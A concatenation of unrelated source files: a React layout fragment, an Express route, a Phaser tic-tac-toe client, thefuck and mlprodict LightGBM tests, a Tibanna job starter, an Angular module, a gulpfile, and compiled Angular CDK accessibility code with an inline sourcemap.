{participant == null && <ParticipantLoginContainer onLogged={onLogged} />}
{participant != null && room && <ChatContainer room={room} participant={participant} collapsed={collapsed} />}
</Content>
<Footer style={{ textAlign: 'center' }}>
<Button type="link" href="https://github.com/eduveks/plunto"><GithubOutlined /> Source Code</Button>
</Footer>
</Layout>
</Layout>
);
}
|
var mdb = require('../services/database');
module.exports = (app) => {
app.get("/food", function(req,res){
console.log("entering /food route");
if (!(req.session && req.session.userID)){
console.log("no active session found.");
return res.redirect("/");
}
var isLogged = true;
console.log(req.session);
console.log(req.session.userID);
req.session.searches = null;
console.log("food db name?");
console.log(req.session.foodDBname);
var db = mdb.GetDB();
if (db)
{
foodDB = db.collection(req.session.foodDBname);
foodDB.find().toArray(function(err, foodArray){
if(err)
{
console.log("error in finding food array from local db:");
console.log(err);
res.render("food", {food:null, loggedOn: isLogged});
return;
}
else
{
console.log("show food array");
console.log(foodArray);
var hasDisplayReset = (req.session.movieDBname === "movies") || (req.session.userName === "Utkarsh Gaur");
return res.render("food", {food : foodArray, date: req.session.movieDate, displayReset: hasDisplayReset, loggedOn : isLogged, csrfToken:req.csrfToken()});
}
});
}
else
{
console.log("Food Database not found");
res.render("food", {food:null, loggedOn: isLogged});
}
});
}
|
'use strict';
window.gameState = flyd.stream();
function getLoadCommand() {
return {
tag: 'Load'
};
}
function getPlaceCommand(row, column) {
return {
tag: 'Place',
contents: [row, column]
};
}
function getDebugCommand(text) {
return {
tag: 'Debug',
contents: text
};
}
function getClearCommand() {
return {
tag: 'Clear'
};
}
function loadState() {
window.external.invoke(JSON.stringify(getLoadCommand()));
}
function placePiece(row, column) {
window.external.invoke(JSON.stringify(getPlaceCommand(row, column)));
}
function debug(object) {
window.external.invoke(JSON.stringify(getDebugCommand(JSON.stringify(object))));
}
function clearState() {
window.external.invoke(JSON.stringify(getClearCommand()));
}
function preload() {
}
function create() {
var gridColor = 0x282828;
this.cells = {
cellAA: { rect: this.add.rectangle(), id: 'AA', x: 0, y: 0, innerShape: undefined, value: undefined, descriptor: ['A', 'A'], lineDestination: [], rowSelector: 'tripleFirst', columnSelector: 'tripleFirst', place: placePiece.bind(null, 'A', 'A') },
cellAB: { rect: this.add.rectangle(), id: 'AB', x: 0, y: 1, innerShape: undefined, value: undefined, descriptor: ['A', 'B'], lineDestination: [], rowSelector: 'tripleFirst', columnSelector: 'tripleSecond', place: placePiece.bind(null, 'A', 'B') },
cellAC: { rect: this.add.rectangle(), id: 'AC', x: 0, y: 2, innerShape: undefined, value: undefined, descriptor: ['A', 'C'], lineDestination: [], rowSelector: 'tripleFirst', columnSelector: 'tripleThird', place: placePiece.bind(null, 'A', 'C') },
cellBA: { rect: this.add.rectangle(), id: 'BA', x: 1, y: 0, innerShape: undefined, value: undefined, descriptor: ['B', 'A'], lineDestination: [], rowSelector: 'tripleSecond', columnSelector: 'tripleFirst', place: placePiece.bind(null, 'B', 'A') },
cellBB: { rect: this.add.rectangle(), id: 'BB', x: 1, y: 1, innerShape: undefined, value: undefined, descriptor: ['B', 'B'], lineDestination: [], rowSelector: 'tripleSecond', columnSelector: 'tripleSecond', place: placePiece.bind(null, 'B', 'B') },
cellBC: { rect: this.add.rectangle(), id: 'BC', x: 1, y: 2, innerShape: undefined, value: undefined, descriptor: ['B', 'C'], lineDestination: [], rowSelector: 'tripleSecond', columnSelector: 'tripleThird', place: placePiece.bind(null, 'B', 'C') },
cellCA: { rect: this.add.rectangle(), id: 'CA', x: 2, y: 0, innerShape: undefined, value: undefined, descriptor: ['C', 'A'], lineDestination: [], rowSelector: 'tripleThird', columnSelector: 'tripleFirst', place: placePiece.bind(null, 'C', 'A') },
cellCB: { rect: this.add.rectangle(), id: 'CB', x: 2, y: 1, innerShape: undefined, value: undefined, descriptor: ['C', 'B'], lineDestination: [], rowSelector: 'tripleThird', columnSelector: 'tripleSecond', place: placePiece.bind(null, 'C', 'B') },
cellCC: { rect: this.add.rectangle(), id: 'CC', x: 2, y: 2, innerShape: undefined, value: undefined, descriptor: ['C', 'C'], lineDestination: [], rowSelector: 'tripleThird', columnSelector: 'tripleThird', place: placePiece.bind(null, 'C', 'C') }
};
drawGrid(this.cells, this.scale.width, this.scale.height);
getObjectValues(this.cells).forEach(function(cell) {
cell.rect.setFillStyle(gridColor, 1);
cell.rect.setOrigin(0, 0);
cell.rect.setInteractive();
cell.rect.on('pointerdown', cell.place);
});
flyd.on(updateCellValuesFromBoard.bind(this, this.cells), window.gameState);
this.scale.on('resize', resize, this);
var clearKey = this.input.keyboard.addKey(Phaser.Input.Keyboard.KeyCodes.C);
clearKey.on('down', clearState.bind(this));
}
function resize(gameSize) {
var width = gameSize.width;
var height = gameSize.height;
this.cameras.resize(width, height);
drawGrid(this.cells, width, height);
}
function getObjectValues(object) {
return Object.keys(object).map(function(key) {
return object[key];
});
}
function drawGrid(cells, width, height) {
var thinness = 100;
var separationX = width / thinness;
var separationY = height / thinness;
getObjectValues(cells).forEach(resizeCell.bind(null, width, height, separationX, separationY));
}
function updateCellValuesFromBoard(cells, gameState) {
getObjectValues(cells).forEach((function(cell) {
cell.lineDestination.map(pluck('line')).forEach(function(line) {
line.destroy();
});
cell.lineDestination = [];
cell.value = gameState.gameBoard[cell.rowSelector][cell.columnSelector];
if (cell.value === 'X' && !cell.innerShape) {
cell.innerShape = this.add.star();
cell.innerShape.setPoints(4);
cell.innerShape.setOrigin(0, 0);
cell.innerShape.setFillStyle(0x689d6a, 1);
cell.innerShape.setInnerRadius(10);
cell.innerShape.setOuterRadius(64);
} else if (cell.value === 'O' && !cell.innerShape) {
cell.innerShape = this.add.ellipse();
cell.innerShape.setFillStyle(0xd3869b, 1);
cell.innerShape.setOrigin(0, 0);
} else if (cell.value === 'N' && cell.innerShape) {
cell.innerShape.destroy();
cell.innerShape = undefined;
}
}).bind(this));
gameState.currentScoringLines.forEach((function(line) {
var startCell = getCellByDescriptor(cells, line.lineStart);
var endCell = getCellByDescriptor(cells, line.lineEnd);
if (startCell.lineDestination.map(pluck('id')).indexOf(endCell.id) === -1) {
var lineObject = this.add.line();
lineObject.setStrokeStyle(1, 0xebdbb2, 1);
lineObject.setOrigin(0, 0);
lineObject.setLineWidth(10);
startCell.lineDestination.push({ destination: endCell, line: lineObject });
}
}).bind(this));
drawGrid(cells, this.scale.width, this.scale.height);
}
function concat(a, b) {
return a.concat(b);
}
function pluck(property) {
return function(obj) {
return obj[property];
}
}
function getCellByDescriptor(cells, descriptor) {
return getObjectValues(cells).filter(function(cell) {
return cell.descriptor[0] === descriptor[0] && cell.descriptor[1] === descriptor[1];
})[0];
}
function resizeCell(width, height, separationX, separationY, cell) {
cell.rect.setPosition(cell.x * width / 3 + separationX / 2, cell.y * height / 3 + separationY / 2);
cell.rect.setSize(width / 3 - separationX, height / 3 - separationY);
if (cell.innerShape && cell.value === 'X') {
resizeX(cell);
}
if (cell.innerShape && cell.value === 'O') {
resizeO(cell);
}
resizeLines(cell);
}
function resizeLines(cell) {
cell.lineDestination.forEach(function(lineDestination) {
lineDestination.line.setTo(cell.rect.x + cell.rect.displayWidth / 2, cell.rect.y + cell.rect.displayHeight / 2, lineDestination.destination.rect.x + lineDestination.destination.rect.displayWidth / 2, lineDestination.destination.rect.y + lineDestination.destination.rect.displayHeight / 2);
});
}
function resizeX(cell) {
cell.innerShape.setInnerRadius(cell.rect.displayWidth / 20);
cell.innerShape.setOuterRadius(cell.rect.displayWidth / 2);
cell.innerShape.setSize(cell.rect.displayWidth / 2, cell.rect.displayHeight / 2);
cell.innerShape.setPosition(cell.rect.x, cell.rect.y);
}
function resizeO(cell) {
cell.innerShape.setSize(cell.rect.displayWidth / 2, cell.rect.displayHeight / 2);
cell.innerShape.setPosition(cell.rect.x + cell.rect.displayWidth / 2 - cell.innerShape.displayWidth / 2, cell.rect.y + cell.rect.displayHeight / 2 - cell.innerShape.displayHeight / 2);
}
loadState();
var config = {
type: Phaser.AUTO,
backgroundColor: '#ebdbb2',
scale: {
parent: 'phaser-game',
mode: Phaser.Scale.FIT,
autoCenter: Phaser.Scale.CENTER_BOTH,
width: 1200,
height: 1200
},
scene: {
preload: preload,
create: create
}
};
var game = new Phaser.Game(config);
|
# -*- coding: utf-8 -*-
import pytest
from tests.utils import Rule, CorrectedCommand
from thefuck import corrector, const
from thefuck.system import Path
from thefuck.types import Command
from thefuck.corrector import get_corrected_commands, organize_commands
@pytest.fixture
def glob(mocker):
results = {}
mocker.patch('thefuck.system.Path.glob',
new_callable=lambda: lambda *_: results.pop('value', []))
return lambda value: results.update({'value': value})
class TestGetRules(object):
@pytest.fixture(autouse=True)
def load_source(self, monkeypatch):
monkeypatch.setattr('thefuck.types.load_source',
lambda x, _: Rule(x))
def _compare_names(self, rules, names):
assert {r.name for r in rules} == set(names)
@pytest.mark.parametrize('paths, conf_rules, exclude_rules, loaded_rules', [
(['git.py', 'bash.py'], const.DEFAULT_RULES, [], ['git', 'bash']),
(['git.py', 'bash.py'], ['git'], [], ['git']),
(['git.py', 'bash.py'], const.DEFAULT_RULES, ['git'], ['bash']),
(['git.py', 'bash.py'], ['git'], ['git'], [])])
def test_get_rules(self, glob, settings, paths, conf_rules, exclude_rules,
loaded_rules):
glob([Path(path) for path in paths])
settings.update(rules=conf_rules,
priority={},
exclude_rules=exclude_rules)
rules = corrector.get_rules()
self._compare_names(rules, loaded_rules)
def test_get_rules_rule_exception(mocker, glob):
load_source = mocker.patch('thefuck.types.load_source',
side_effect=ImportError("No module named foo..."))
glob([Path('git.py')])
assert not corrector.get_rules()
load_source.assert_called_once_with('git', 'git.py')
def test_get_corrected_commands(mocker):
command = Command('test', 'test')
rules = [Rule(match=lambda _: False),
Rule(match=lambda _: True,
get_new_command=lambda x: x.script + '!', priority=100),
Rule(match=lambda _: True,
get_new_command=lambda x: [x.script + '@', x.script + ';'],
priority=60)]
mocker.patch('thefuck.corrector.get_rules', return_value=rules)
assert ([cmd.script for cmd in get_corrected_commands(command)]
== ['test!', 'test@', 'test;'])
def test_organize_commands():
"""Ensures that the function removes duplicates and sorts commands."""
commands = [CorrectedCommand('ls'), CorrectedCommand('ls -la', priority=9000),
CorrectedCommand('ls -lh', priority=100),
CorrectedCommand(u'echo café', priority=200),
CorrectedCommand('ls -lh', priority=9999)]
assert list(organize_commands(iter(commands))) \
== [CorrectedCommand('ls'), CorrectedCommand('ls -lh', priority=100),
CorrectedCommand(u'echo café', priority=200),
CorrectedCommand('ls -la', priority=9000)]
|
# -*- coding: utf-8 -*-
# import json
import boto3
import json
from .zebra_utils import FourfrontStarter
from tibanna import create_logger
logger = create_logger(__name__)
def start_run(input_json):
'''
this is generic function to run awsem workflow
based on the data passed in
workflow_uuid : for now, pass this on. Later we can add a code to automatically retrieve this from app_name.
Note multiple workflow_uuids can be available for an app_name
(different versions of the same app could have a different uuid)
'''
starter = FourfrontStarter(**input_json)
logger.debug("starter.inp.as_dict() = " + str(starter.inp.as_dict()))
if starter.inp.config.log_bucket and starter.inp.jobid:
s3 = boto3.client('s3')
s3.put_object(Body=json.dumps(input_json, indent=4).encode('ascii'),
Key=starter.inp.jobid + '.input.json',
Bucket=starter.inp.config.log_bucket)
starter.run()
return(starter.inp.as_dict())
|
var values = [0, null, true, "foo", false, -1 / 0, void 0];
values.forEach(function (x) {
values.forEach(function (y) {
values.forEach(function (z) {
console.log(x ? y || z : z);
});
});
});
|
(function () {
'use strict';
angular
.module('qorDash.configurations', [
'qorDash.configurations.services',
'qorDash.configurations.services.state',
'qorDash.configurations.services.state.files',
'qorDash.configurations.services.state.files.files-view',
'qorDash.configurations.services.state.files.files-view.diff',
'qorDash.configurations.services.state.instances',
'qorDash.configurations.services.state.instances.editor',
'qorDash.configurations.services.state.packages',
'qorDash.configurations.services.state.packages.editor'
])
.config(config);
function config($stateProvider, $qorSidebarProvider) {
$stateProvider
.state('app.configurations', {
url: '/configurations',
resolve: {
resolvedDomains: function(domainService) {
return domainService.loadDomains();
}
},
views: {
'main@': {
templateUrl: 'app/modules/configurations/configurations.html',
controller: 'ConfigurationsController'
}
}
});
$qorSidebarProvider.config('configurations', {
title: 'Config',
nav: 5,
content: '<span ui-sref="app.configurations" ui-sref-opts="{reload: true}" qor-sidebar-group-heading="Config" data-icon-class="fa fa-cogs"></span>'
});
}
})();
|
var gulp = require("gulp");
var sourcemaps = require("gulp-sourcemaps");
var babel = require("gulp-babel");
var concat = require("gulp-concat");
var minify = require("gulp-minify");
const eslint = require('gulp-eslint');
var webpackStream = require('webpack-stream');
var webpack2 = require('webpack');
gulp.task("default", function () {
return gulp.src("src/**/*.js")
.pipe(sourcemaps.init())
.pipe(babel({
presets: ['react','es2015']
}))
.pipe(concat("all.js"))
.pipe(sourcemaps.write("."))
.pipe(gulp.dest("dist"));
});
gulp.task('wpdefault', function() {
return gulp.src('src/dummy.js')
.pipe(webpackStream(require('./webpack.config.js'), webpack2))
.pipe(gulp.dest('dist/'));
});
gulp.task('compress', function() {
gulp.src('dist/**/*.js')
.pipe(minify({
ext:{
src:'.js',
min:'.min.js'
},
exclude: ['tasks'],
ignoreFiles: ['.combo.js', '-min.js']
}))
.pipe(gulp.dest('dist'))
});
gulp.task('lint', () => {
// ESLint ignores files with "node_modules" paths.
// So, it's best to have gulp ignore the directory as well.
// Also, Be sure to return the stream from the task;
// Otherwise, the task may end before the stream has finished.
return gulp.src(['src/**','!node_modules/**'])
// eslint() attaches the lint output to the "eslint" property
// of the file object so it can be used by other modules.
.pipe(eslint())
// eslint.format() outputs the lint results to the console.
// Alternatively use eslint.formatEach() (see Docs).
.pipe(eslint.format())
// To have the process exit with an error code (1) on
// lint error, return the stream and pipe to failAfterError last.
.pipe(eslint.failAfterError());
});
|
"""
@brief test log(time=2s)
"""
import unittest
from logging import getLogger
import copy
import json
import base64
import lzma
import numpy
from pandas import DataFrame
from pyquickhelper.pycode import ExtTestCase
try:
from pyquickhelper.pycode.unittest_cst import decompress_cst
except ImportError:
decompress_cst = lambda d: json.loads(
lzma.decompress(base64.b64decode(b"".join(d))))
from skl2onnx.common.data_types import FloatTensorType
from sklearn.datasets import load_iris
from mlprodict.onnx_conv.helpers.lgbm_helper import (
modify_tree_for_rule_in_set, restore_lgbm_info)
from mlprodict.onnx_conv.operator_converters.parse_lightgbm import (
MockWrappedLightGbmBoosterClassifier)
from mlprodict.onnx_conv import register_converters, to_onnx
from mlprodict.onnxrt import OnnxInference
def count_nodes(tree, done=None):
if done is None:
done = {}
tid = id(tree)
if tid in done:
return 0
done[tid] = tree
nb = 1
if 'right_child' in tree:
nb += count_nodes(tree['right_child'], done)
if 'left_child' in tree:
nb += count_nodes(tree['left_child'], done)
return nb
def clean_tree(tree):
def walk_through(tree):
if 'tree_structure' in tree:
for w in walk_through(tree['tree_structure']):
yield w
yield tree
if 'left_child' in tree:
for w in walk_through(tree['left_child']):
yield w
if 'right_child' in tree:
for w in walk_through(tree['right_child']):
yield w
nodes = list(walk_through(tree3))
for node in nodes:
for k in ['split_gain', 'split_feature', 'split_index', 'leaf_count',
'internal_value', 'internal_weight', 'internal_count', 'leaf_weight']:
if k in node:
del node[k]
for k in ['leaf_value', 'leaf_value']:
if k in node:
node[k] = 0
tree2 = {'average_output': False,
'feature_names': ['c1', 'c2', 'c3', 'c4'],
'label_index': 0,
'max_feature_idx': 3,
'name': 'tree',
'num_class': 1,
'num_tree_per_iteration': 1,
'objective': 'binary sigmoid:1',
'pandas_categorical': None,
'tree_info': [{'num_cat': 0,
'num_leaves': 6,
'shrinkage': 1,
'tree_index': 0,
'tree_structure': {'decision_type': '==',
'default_left': True,
'internal_count': 1612,
'internal_value': 0,
'left_child': {'decision_type': '<=',
'default_left': True,
'internal_count': 1367,
'internal_value': 1.02414,
'left_child': {'decision_type': '<=',
'default_left': True,
'internal_count': 623,
'internal_value': 1.02414,
'left_child': {'leaf_count': 253,
'leaf_index': 0,
'leaf_value': 3.7749963852295396},
'missing_type': 'None',
'right_child': {'leaf_count': 370,
'leaf_index': 5,
'leaf_value': 3.7749963852295396},
'split_feature': 3,
'split_gain': 1.7763600157738027e-15,
'split_index': 4,
'threshold': 3.5000000000000004},
'missing_type': 'None',
'right_child': {'decision_type': '<=',
'default_left': True,
'internal_count': 744,
'internal_value': 1.02414,
'left_child': {'leaf_count': 291,
'leaf_index': 3,
'leaf_value': 3.7749963852295396},
'missing_type': 'None',
'right_child': {'leaf_count': 453,
'leaf_index': 4,
'leaf_value': 3.7749963852295396},
'split_feature': 3,
'split_gain': 3.552710078910475e-15,
'split_index': 3,
'threshold': 3.5000000000000004},
'split_feature': 2,
'split_gain': 7.105429898699844e-15,
'split_index': 2,
'threshold': 3.5000000000000004},
'missing_type': 'None',
'right_child': {'decision_type': '<=',
'default_left': True,
'internal_count': 245,
'internal_value': -5.7143,
'left_child': {'leaf_count': 128,
'leaf_index': 1,
'leaf_value': 3.130106784685405},
'missing_type': 'None',
'right_child': {'leaf_count': 117,
'leaf_index': 2,
'leaf_value': 3.7749963852295396},
'split_feature': 3,
'split_gain': 234.05499267578125,
'split_index': 1,
'threshold': 6.500000000000001},
'split_feature': 2,
'split_gain': 217.14300537109375,
'split_index': 0,
'threshold': '8||9||10'}},
{'num_cat': 0,
'num_leaves': 3,
'shrinkage': 0.05,
'tree_index': 1,
'tree_structure': {'decision_type': '<=',
'default_left': True,
'internal_count': 1612,
'internal_value': 0,
'left_child': {'leaf_count': 1367,
'leaf_index': 0,
'leaf_value': 0.05114685710677944},
'missing_type': 'None',
'right_child': {'decision_type': '<=',
'default_left': True,
'internal_count': 245,
'internal_value': -3.89759,
'left_child': {'leaf_count': 128,
'leaf_index': 1,
'leaf_value': -0.3177225912983217},
'missing_type': 'None',
'right_child': {'leaf_count': 117,
'leaf_index': 2,
'leaf_value': 0.05114685710677942},
'split_feature': 3,
'split_gain': 93.09839630126953,
'split_index': 1,
'threshold': 6.500000000000001},
'split_feature': 2,
'split_gain': 148.33299255371094,
'split_index': 0,
'threshold': 8.500000000000002}}],
'version': 'v2'}
# This constant by built by appling function pyquickhelper.pycode.unittest_cst.compress_cst.
tree3 = decompress_cst([
b'/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4Ck9A2tdAD2IiodjqVNsvcJJI6C9h2Y0CbG5b7',
b'OaqsqxvLBzg7BltxogYoUzxj35qbUETbBAyJeMccezEDeIKOT1GB+I50txUuc8zkWDcp/n',
b'kx2YhORZxAyj55pXJF/xW5aySLknuTn/5cRfSL9AGF7dHdW9k8RqP5GONWx3YvvnP0tCW0',
b'lGKd5caxoNFaB5tg+je6f0s6N6QQo8wqrBPtjJ7bQf50vFrpYgkQNAEZIVutpzgE9c4o1L',
b'Uv/vJgnhQXOpk/4hOCV2q8VG+jD9oIjPINOOZ642k2QmsdWC+l3XagJnbN9dqT/4C9ehfM',
b'nf6Bw5XcRXD4rtmOyUq/ocuh1WfPinlKd/Jn0YOydq1FpH+VNSUjjPUGJbJal4Pa6jcx/Y',
b'9mcBjp9kP1pM5wkCJ52Kv12UQ/+2j+n0rUQbbqs10iFJo4h4KB/Ie/bugBLNItmNhNhDP4',
b'36Q6jCsLsXlu0gTiWZfGQapR+DJIsVKHh9GeagotXpHTwYX72KrTFwIdxgf9Y2X1EUqiJV',
b'wXdP7GprCs9QsIvCkqW59hPNStt2tyWtlSsXsnjU5e0Jn3USVHOcbwCBSpCtFlpg8tiS9m',
b'Zv1TIGj9cvEk1Ke9p6bZelvtXqHJRISJ8fCVjrqTnEjyUdPaG1wmqCyz7NFEkngrBinY7e',
b'ZMHmO1y6IhLI1zN0kq8zBHIQeqUruYgBatPI6jI585wQ6mYCobgQc7B6Ae6XlgOthATrr2',
b'oDdnIeAPeUKVMXPIq9NnwlwsyNEoTddI42NiMde8jVzVm4wwwnqrmbKlJsi5LJhRQlaEFX',
b'etzNn7llkCSwv88gYhcaDWP3Ewchse2iQDkJ0dPZhx0FB18X6wvEcwkt/H+dzTgAYOCSkr',
b'T3thNkPCvQ4keiRzHiWNzLc+NAhz5NX8BXsVQFkEyf4oUkKHjy053LBmXpHM75LBhdJmFH',
b'vqRENHF6QgiPLAjc/1NHatYLcY0VRetr55Bp2jWU+z75P2TrMkTHFnjbOEQ3p13USzVmnq',
b'3d0EUvp5Q5dUPDFAIhkH+oUkgK4lX2xlyEGh+23EqQtmkjOyKj7HPHoPZo2AjASlRTc78u',
b'1c9nWkTbwBGbZUsMmWzyjbDe/h2Yi2GvkSkIh8UKtYDlTzpT62G9Chf5N9HEfFjQWcdCEi',
b'7Y3Hx86ee03jpP42ssAADRqUIMvx3yYwABhwe+UgAA2u9V4LHEZ/sCAAAAAARZWg=='])
class TestLightGbmTreeStructure(ExtTestCase):
def setUp(self):
logger = getLogger('skl2onnx')
logger.disabled = True
register_converters()
def test_onnxrt_python_lightgbm_categorical(self):
val = {'decision_type': '==',
'default_left': True,
'internal_count': 6805,
'internal_value': 0.117558,
'left_child': {'leaf_count': 4293,
'leaf_index': 18,
'leaf_value': 0.003519117642745049},
'missing_type': 'None',
'right_child': {'leaf_count': 2512,
'leaf_index': 25,
'leaf_value': 0.012305307958365394},
'split_feature': 24,
'split_gain': 12.233599662780762,
'split_index': 24,
'threshold': '10||12||13'}
exp = {'decision_type': '==',
'default_left': True,
'internal_count': 6805,
'internal_value': 0.117558,
'left_child': {'leaf_count': 4293,
'leaf_index': 18,
'leaf_value': 0.003519117642745049},
'missing_type': 'None',
'right_child': {'decision_type': '==',
'default_left': True,
'internal_count': 6805,
'internal_value': 0.117558,
'left_child': {'leaf_count': 4293,
'leaf_index': 18,
'leaf_value': 0.003519117642745049},
'missing_type': 'None',
'right_child': {'decision_type': '==',
'default_left': True,
'internal_count': 6805,
'internal_value': 0.117558,
'left_child': {'leaf_count': 4293,
'leaf_index': 18,
'leaf_value': 0.003519117642745049},
'missing_type': 'None',
'right_child': {'leaf_count': 2512,
'leaf_index': 25,
'leaf_value': 0.012305307958365394},
'split_feature': 24,
'split_gain': 12.233599662780762,
'split_index': 24,
'threshold': 13},
'split_feature': 24,
'split_gain': 12.233599662780762,
'split_index': 24,
'threshold': 12},
'split_feature': 24,
'split_gain': 12.233599662780762,
'split_index': 24,
'threshold': 10}
nb1 = count_nodes(val)
modify_tree_for_rule_in_set(val)
nb2 = count_nodes(val)
self.assertEqual(nb1, 3)
self.assertEqual(nb2, 5)
sval = str(val)
self.assertNotIn('||', sval)
self.maxDiff = None
self.assertEqual(exp, val)
def test_onnxrt_python_lightgbm_categorical2(self):
val = copy.deepcopy(tree2)
nb1 = sum(count_nodes(t['tree_structure']) for t in val['tree_info'])
modify_tree_for_rule_in_set(val)
nb2 = sum(count_nodes(t['tree_structure']) for t in val['tree_info'])
self.assertEqual(nb1, 16)
self.assertEqual(nb2, 18)
def test_mock_lightgbm(self):
tree = copy.deepcopy(tree2)
nb1 = sum(count_nodes(t['tree_structure']) for t in tree['tree_info'])
model = MockWrappedLightGbmBoosterClassifier(tree)
nb2 = sum(count_nodes(t['tree_structure']) for t in tree['tree_info'])
self.assertEqual(nb1, nb2)
self.assertEqual(nb1, 16)
onx = to_onnx(model, initial_types=[('x', FloatTensorType([None, 4]))],
options={id(model): {'zipmap': False}})
self.assertTrue(model.visited)
for n in onx.graph.node:
if n.op_type != 'TreeEnsembleClassifier':
continue
att = n.attribute
for k in att:
if k.name != 'nodes_modes':
continue
values = k.strings
nbnodes = len(values)
self.assertEqual(nbnodes, 18)
iris = load_iris()
X = iris.data
X = (X * 10).astype(numpy.int32)
oif = OnnxInference(onx)
for row in [1, 10, 20, 30, 40, 50, 60, 70]:
with self.subTest(row=row):
pred = oif.run({'x': X[:row].astype(numpy.float32)})
label = pred["output_label"]
self.assertEqual(label.shape, (row, ))
prob = DataFrame(pred["output_probability"]).values
self.assertEqual(prob.shape, (row, 2))
def test_mock_lightgbm_info(self):
tree = copy.deepcopy(tree3)
info = restore_lgbm_info(tree)
modify_tree_for_rule_in_set(tree, info=info)
expected = tree
tree = copy.deepcopy(tree3)
info = restore_lgbm_info(tree)
modify_tree_for_rule_in_set(tree, info=info)
self.assertEqual(expected, tree)
def test_mock_lightgbm_profile(self):
tree = copy.deepcopy(tree3)
info = restore_lgbm_info(tree)
self.assertIsInstance(info, list)
self.assertGreater(len(info), 1)
def g():
for _ in range(0, 100):
modify_tree_for_rule_in_set(tree, info=info)
p2 = self.profile(g)[1]
self.assertIn('cumtime', p2)
if __name__ == "__main__":
print(p2)
if __name__ == "__main__":
unittest.main()
|
/**
* @fileoverview added by tsickle
* Generated from: src/cdk/a11y/a11y-module.ts
* @suppress {checkTypes,constantProperty,extraRequire,missingOverride,missingReturn,unusedPrivateMembers,uselessCode} checked by tsc
*/
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
import { ObserversModule } from '@angular/cdk/observers';
import { PlatformModule } from '@angular/cdk/platform';
import { NgModule } from '@angular/core';
import { CdkMonitorFocus } from './focus-monitor/focus-monitor';
import { CdkTrapFocus } from './focus-trap/focus-trap';
import { HighContrastModeDetector } from './high-contrast-mode/high-contrast-mode-detector';
import { CdkAriaLive } from './live-announcer/live-announcer';
import * as ɵngcc0 from '@angular/core';
export class A11yModule {
/**
* @param {?} highContrastModeDetector
*/
constructor(highContrastModeDetector) {
highContrastModeDetector._applyBodyHighContrastModeCssClasses();
}
}
A11yModule.ɵmod = ɵngcc0.ɵɵdefineNgModule({ type: A11yModule });
A11yModule.ɵinj = ɵngcc0.ɵɵdefineInjector({ factory: function A11yModule_Factory(t) { return new (t || A11yModule)(ɵngcc0.ɵɵinject(HighContrastModeDetector)); }, imports: [[PlatformModule, ObserversModule]] });
/** @nocollapse */
A11yModule.ctorParameters = () => [
{ type: HighContrastModeDetector }
];
(function () { (typeof ngJitMode === "undefined" || ngJitMode) && ɵngcc0.ɵɵsetNgModuleScope(A11yModule, { declarations: function () { return [CdkAriaLive, CdkTrapFocus, CdkMonitorFocus]; }, imports: function () { return [PlatformModule, ObserversModule]; }, exports: function () { return [CdkAriaLive, CdkTrapFocus, CdkMonitorFocus]; } }); })();
/*@__PURE__*/ (function () { ɵngcc0.ɵsetClassMetadata(A11yModule, [{
type: NgModule,
args: [{
imports: [PlatformModule, ObserversModule],
declarations: [CdkAriaLive, CdkTrapFocus, CdkMonitorFocus],
exports: [CdkAriaLive, CdkTrapFocus, CdkMonitorFocus]
}]
}], function () { return [{ type: HighContrastModeDetector }]; }, null); })();
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkM6L1VzZXJzL3VzZXIvRGVza3RvcC9QUk9KRUNUUy9TVFVBTkEvSWRleVBheS90b3ZvLWFuZ3VsYXItOS1hcHAtbGFuZGluZy1wYWdlL25vZGVfbW9kdWxlcy9AYW5ndWxhci9jZGsvZXNtMjAxNS9hMTF5L2ExMXktbW9kdWxlLmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBOzs7Ozs7Ozs7Ozs7Ozs7Ozs7OztBQW1CQTs7Ozs7Ozs7O0NBT0MsaU5BT0M7Ozs7Ozs7Ozs7Ozs7a0ZBSUEiLCJmaWxlIjoiYTExeS1tb2R1bGUuanMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEBmaWxlb3ZlcnZpZXcgYWRkZWQgYnkgdHNpY2tsZVxuICogR2VuZXJhdGVkIGZyb206IHNyYy9jZGsvYTExeS9hMTF5LW1vZHVsZS50c1xuICogQHN1cHByZXNzIHtjaGVja1R5cGVzLGNvbnN0YW50UHJvcGVydHksZXh0cmFSZXF1aXJlLG1pc3NpbmdPdmVycmlkZSxtaXNzaW5nUmV0dXJuLHVudXNlZFByaXZhdGVNZW1iZXJzLHVzZWxlc3NDb2RlfSBjaGVja2VkIGJ5IHRzY1xuICovXG4vKipcbiAqIEBsaWNlbnNlXG4gKiBDb3B5cmlnaHQgR29vZ2xlIExMQyBBbGwgUmlnaHRzIFJlc2VydmVkLlxuICpcbiAqIFVzZSBvZiB0aGlzIHNvdXJjZSBjb2RlIGlzIGdvdmVybmVkIGJ5IGFuIE1JVC1zdHlsZSBsaWNlbnNlIHRoYXQgY2FuIGJlXG4gKiBmb3VuZCBpbiB0aGUgTElDRU5TRSBmaWxlIGF0IGh0dHBzOi8vYW5ndWxhci5pby9saWNlbnNlXG4gKi9cbmltcG9ydCB7IE9ic2VydmVyc01vZHVsZSB9IGZyb20gJ0Bhbmd1bGFyL2Nkay9vYnNlcnZlcnMnO1xuaW1wb3J0IHsgUGxhdGZvcm1Nb2R1bGUgfSBmcm9tICdAYW5ndWxhci9jZGsvcGxhdGZvcm0nO1xuaW1wb3J0IHsgTmdNb2R1bGUgfSBmcm9tICdAYW5ndWxhci9jb3JlJztcbmltcG9ydCB7IENka01vbml0b3JGb2N1cyB9IGZyb20gJy4vZm9jdXMtbW9uaXRvci9mb2N1cy1tb25pdG9yJztcbmltcG9ydCB7IENka1RyYXBGb2N1cyB9IGZyb20gJy4vZm9jdXMtdHJhcC9mb2N1cy10cmFwJztcbmltcG9ydCB7IEhpZ2hDb250cmFzdE1vZGVEZXRlY3RvciB9IGZyb20gJy4vaGlnaC1jb250cmFzdC1tb2RlL2hpZ2gtY29udHJhc3QtbW9kZS1kZXRlY3Rvcic7XG5pbXBvcnQgeyBDZGtBcmlhTGl2ZSB9IGZyb20gJy4vbGl2ZS1hbm5vdW5jZXIvbGl2ZS1hbm5vdW5jZXInO1xuZXhwb3J0IGNsYXNzIEExMXlNb2R1bGUge1xuICAgIC8qKlxuICAgICAqIEBwYXJhbSB7P30gaGlnaENvbnRyYXN0TW9kZURldGVjdG9yXG4gICAgICovXG4gICAgY29uc3